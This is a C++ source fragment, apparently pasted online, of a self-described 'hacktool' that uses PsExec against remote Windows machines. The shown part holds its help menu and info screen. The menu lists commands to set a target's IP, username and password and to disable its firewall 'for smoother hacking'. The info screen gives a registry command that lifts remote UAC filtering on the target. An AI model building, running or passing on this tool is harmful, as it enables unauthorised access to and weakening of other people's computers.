- break;
- case 'G': // bright green
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 10);
- break;
- case 'w':
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
- break;
- case 'W':
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 15);
- break;
- case 'l':
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 0);
- break;
- }
- }
- void helpCommands() {
- color('R');
- std::cout << "\n Commands: \n" ;
- color('G');
- std::cout << " set ip [ip]";
- color('Y');
- std::cout << " - Set the ip of the remote machine.\n";
- color('G');
- std::cout << " set username [username]";
- color('Y');
- std::cout << " - Set the username of the remote machine.\n";
- color('G');
- std::cout << " set password [password]";
- color('Y');
- std::cout << " - Set the password of the remote machine.\n";
- color('G');
- std::cout << " set attackType [type]";
- color('Y');
- std::cout << " - Set the attack type for the remote machine (type " << '"' << "set" << '"' << " for more info).\n";
- color('G');
- std::cout << " show ip";
- color('Y');
- std::cout << " - Shows you the currently set IP\n";
- color('G');
- std::cout << " show username";
- color('Y');
- std::cout << " - Shows you the currently set username\n";
- color('G');
- std::cout << " show password";
- color('Y');
- std::cout << " - Shows you the currently set password\n";
- color('G');
- std::cout << " show attackType";
- color('Y');
- std::cout << " - Shows you the currently set Attack Type\n";
- color('G');
- std::cout << " DisableFirewall";
- color('Y');
- std::cout << " - Disables the firewall on the remote machine for smoother hacking experience.\n";
- color('G');
- std::cout << " EnableFirewall";
- color('Y');
- std::cout << " - Enables the firewall on the remote machine.\n";
- color('G');
- std::cout << " import <filename>";
- color('Y');
- std::cout << " - import saved database information (Please include the .txt extention.)\n";
- color('G');
- std::cout << " info";
- color('Y');
- std::cout << " - Get info about the program.\n";
- color('G');
- std::cout << " clear";
- color('Y');
- std::cout << " - Clears the screen.\n";
- }
- void info() {
- system("mode con: cols=140 lines=30");
- color('Y');
- std::cout << "\n\n\n";
- std::cout << " First, type " << '"' << "help" << '"' << " for help." << "\n\n";
- std::cout << " This is a hacktool by ori shamir\n";
- std::cout << " This hacktool is using PSEXEC by microsoft.\n";
- std::cout << " In order for this to work, you will need to:\n";
- std::cout << " 1. Download PSTOOLS (type install)\n";
- std::cout << " 2. Edit a registery on the computer you wish to hack.\n";
- color('G');
- std::cout << " 2.1 open CMD on the remote machine with administrator privileges.\n";
- std::cout << " 2.2 Run the command in the command line:\n";
- color('P');
- std::cout << " 2.3 " << "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f\n\n";
- color('R');
- std::cout << " [!] know that for smoother hacking you will want to disable firewall on the remote machine.\n";
- std::cout << " You can either type disablefirewall, or do it manually.\n";
- color('G');
- pause('n');
- system("mode con: cols=120 lines=30");
- chooseoption();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement